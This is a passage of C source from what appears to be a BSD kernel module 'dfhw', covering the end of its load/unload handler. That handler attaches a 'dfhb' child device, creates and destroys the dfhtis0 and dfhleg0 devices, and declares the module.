&& (nexus = devclass_get_device(dc, 0))) { dfhb_dev = BUS_ADD_CHILD(nexus, nexus, 100, "dfhb", -1); kprintf("dfhw: dfhb child=%p\n", dfhb_dev); if (dfhb_dev) { int pr = device_probe_and_attach(dfhb_dev); kprintf("dfhw: probe_and_attach=%d\n", pr); } } } kprintf("dfhw: loaded (dfhtis0, dfhleg0 ready)\n"); return (0); case MOD_UNLOAD: if (dfhw_go_oid) { sysctl_remove_oid(dfhw_go_oid, 1, 0); dfhw_go_oid = NULL; } destroy_dev(dfhtis_dev); destroy_dev(dfhleg_dev); if (dfhb_dev) { device_delete_child(device_get_parent(dfhb_dev), dfhb_dev); dfhb_dev = NULL; } return (0); } return (EOPNOTSUPP); } static moduledata_t dfhw_mod = { "dfhw", dfhw_load, 0 }; DECLARE_MODULE(dfhw, dfhw_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);